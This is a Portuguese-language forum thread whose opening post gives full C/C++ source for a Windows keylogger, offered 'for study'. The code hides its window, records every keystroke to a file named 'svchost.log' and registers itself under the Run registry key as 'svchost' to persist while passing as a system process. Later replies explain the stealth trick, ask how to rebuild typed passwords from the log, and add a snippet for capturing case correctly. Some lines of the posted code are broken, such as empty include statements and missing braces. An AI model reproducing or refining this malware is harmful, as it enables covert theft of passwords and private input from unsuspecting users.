FORUM DARKERS

Tecnologia & Informática => Programação => C/C#/C++ => Tópico iniciado por: Anonymous online 08 de Junho , 2006, 02:30:41 PM

Título: C++ Keylogger Source Code
Enviado por: Anonymous online 08 de Junho , 2006, 02:30:41 PM
Segue abaixo um código fonte de um Keylogger em C++ para estudos.



#include
#include
#include

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);


int main(void)
{
    HWND stealth; /*creating stealth (window is not visible)*/
    AllocConsole();
    stealth=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(stealth,0);
 
    int test,create;
    test=test_key();/*check if key is available for opening*/
       
    if (test==2)/*create key*/
    {
        char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
        create=create_key(path);
         
    }
       
 
    int t=get_keys();
   
    return t;


int get_keys(void)
{
            short character;
              while(1)
              {
                   
                     for(character=8;character<=222;character++)
                     {
                         if(GetAsyncKeyState(character)==-32767)
                         { 
                           
                             FILE *file;
                             file=fopen("svchost.log","a+");
                             if(file==NULL)
                             {
                                     return 1;
                             }           
                             if(file!=NULL)
                             {       
                                     if((character>=39)&&(character<=64))
                                     {
                                           fputc(character,file);
                                           fclose(file);
                                           break;
                                     }       
                                     else if((character>64)&&(character<91))
                                     {
                                           character+=32;
                                           fputc(character,file);
                                           fclose(file);
                                           break;
                                     }
                                     else
                                     {
                                         switch(character)
                                         {
                                               case VK_SPACE:
                                               fputc(' ',file);
                                               fclose(file);
                                               break;   
                                               case VK_SHIFT:
                                               fputs("[SHIFT]",file);
                                               fclose(file);
                                               break;                                           
                                               case VK_RETURN:
                                               fputs("\n[ENTER]",file);
                                               fclose(file);
                                               break;
                                               case VK_BACK:
                                               fputs("[BACKSPACE]",file);
                                               fclose(file);
                                               break;
                                               case VK_TAB:
                                               fputs("[TAB]",file);
                                               fclose(file);
                                               break;
                                               case VK_CONTROL:
                                               fputs("[CTRL]",file);
                                               fclose(file);
                                               break;   
                                               case VK_DELETE:
                                               fputs("[DEL]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_1:
                                               fputs("[;:]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_2:
                                               fputs("[/?]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_3:
                                               fputs("[`~]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_4:
                                               fputs("[ [{ ]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_5:
                                               fputs("[\\|]",file);
                                               fclose(file);
                                               break;                               
                                               case VK_OEM_6:
                                               fputs("[ ]} ]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_7:
                                               fputs("['\"]",file);
                                               fclose(file);
                                               break;
                                               /*case VK_OEM_PLUS:
                                               fputc('+',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_COMMA:
                                               fputc(',',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_MINUS:
                                               fputc('-',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_PERIOD:
                                               fputc('.',file);
                                               fclose(file);
                                               break;*/
                                               case VK_NUMPAD0:
                                               fputc('0',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD1:
                                               fputc('1',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD2:
                                               fputc('2',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD3:
                                               fputc('3',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD4:
                                               fputc('4',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD5:
                                               fputc('5',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD6:
                                               fputc('6',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD7:
                                               fputc('7',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD8:
                                               fputc('8',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD9:
                                               fputc('9',file);
                                               fclose(file);
                                               break;
                                               case VK_CAPITAL:
                                               fputs("[CAPS LOCK]",file);
                                               fclose(file);
                                               break;
                                               default:
                                               fclose(file);
                                               break;
                                        }       
                                   }   
                              }       
                    }   
                }                 
                   
            }
            return EXIT_SUCCESS;                           
}                                               

int test_key(void)
{
    int check;
    HKEY hKey;
    char path[BUFSIZE];
    DWORD buf_length=BUFSIZE;
    int reg_key;
   
    reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
    if(reg_key!=0)
    {   
        check=1;
        return check;
    }       
         
    reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);
   
    if((reg_key!=0)||(buf_length>BUFSIZE))
        check=2;
    if(reg_key==0)
        check=0;
       
    RegCloseKey(hKey);
    return check; 
}
 
int create_key(char *path)

        int reg_key,check;
       
        HKEY hkey;
       
        reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
        if(reg_key==0)
        {
                RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
                check=0;
                return check;
        }
        if(reg_key!=0)
                check=1;
               
        return check;
}       
Título: Re: C++ Keylogger Source Code
Enviado por: d3rf online 08 de Junho , 2006, 03:06:31 PM
Blz cara, mas aki ele roda em Stealth ?
Título: Re: C++ Keylogger Source Code
Enviado por: Anonymous online 08 de Junho , 2006, 03:18:22 PM
Não fui eu quem codei, é um código pra aprendizado, e não creio que ele rode em Stealth.
Título: Re: C++ Keylogger Source Code
Enviado por: Shady online 08 de Junho , 2006, 04:30:00 PM
    HWND stealth; /*creating stealth (window is not visible)*/
    AllocConsole();
    stealth=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(stealth,0);

 Isso faz ele ficar stealth ;)
Título: Re: C++ Keylogger Source Code
Enviado por: rog online 08 de Junho , 2006, 07:37:12 PM
beleza

isso e outro codigo que parece mais C do que C++

talvez seria bom fazer uma materia explicando a diferença entre o C e o C++ para a turma

rog
Título: Re: C++ Keylogger Source Code
Enviado por: d3rf online 09 de Junho , 2006, 09:20:26 AM
Vou compilar aki .. e ve no q dá ...
Qnto a sugestão a cima foi muito boa ... na minha facul tive aula de Pascal (tosco), C e C++ q é bom .. nada ... e sou louco para aprender um pouco de C++ ...
Título: Re: C++ Keylogger Source Code
Enviado por: Korndog online 17 de Novembro , 2008, 02:06:15 PM
Tenho um script parecido com este, o qual eu tenho feito modificações constantemente...

Porém ele grava as keys como elas aparecem.  ???

Ex:
[SHIFT]mypasss[BACKSPACE]123

Invés de Mypass123

Alguém sabe um bom método para fazer isso ( sem ter que abrir o ficheiro de log, modificar e gravar ) ?

Atenciosamente,
Título: Re: C++ Keylogger Source Code
Enviado por: jueves online 13 de Agosto , 2009, 07:01:37 PM
nao ta faltando nada depois dos include?
Título: Re: C++ Keylogger Source Code
Enviado por: GreeN online 13 de Agosto , 2009, 09:23:21 PM
Citação de: Korndog online 17 de Novembro , 2008, 02:06:15 PM
Tenho um script parecido com este, o qual eu tenho feito modificações constantemente...

Porém ele grava as keys como elas aparecem.  ???

Ex:
[SHIFT]mypasss[BACKSPACE]123

Invés de Mypass123

Alguém sabe um bom método para fazer isso ( sem ter que abrir o ficheiro de log, modificar e gravar ) ?

Atenciosamente,

é só você verificar se o capslock e o shift estão precionados e botar a letra maiúscula quando necessário..
segue um código que eu fiz a um bom tempo atrás.

if (tecla >= VK_A && tecla <= VK_Z){
                     if (GetKeyState(VK_CAPITAL)){ //verifica se o capslock está ligado
                        if (GetAsyncKeyState(VK_SHIFT) == -32768) //verifica se o shift não está precionado
                           tecla = tecla + 32; //transforma a letra em maiúscula
                        sprintf(mbuff,"%c",tecla);
                     }else{
                        if(!(GetAsyncKeyState(VK_SHIFT) == -32768)) //verifica se o shift está precionado
                           tecla = tecla + 32; //transforma a letra em maiuscula
                        sprintf(mbuff,"%c",tecla);
                     }               
                  }
Título: Re: C++ Keylogger Source Code
Enviado por: keenlanas online 19 de Setembro , 2009, 12:05:43 PM
Pow, Keyloggers são complicados justamente por isso.

Quero dizer, nesse codigo ae, se o cara digitar [ctrl] + [alt] + [del] vai ser logado a mesma coisa que se ele digitar [ctrl] depois [alt] depois [del].

Mas isso é só um exemplo... Quero dizer que não tem nada que indica que as teclas foram pressionadas simultaneamente ou não.

Mas eh um bom código pra estudos, anyway.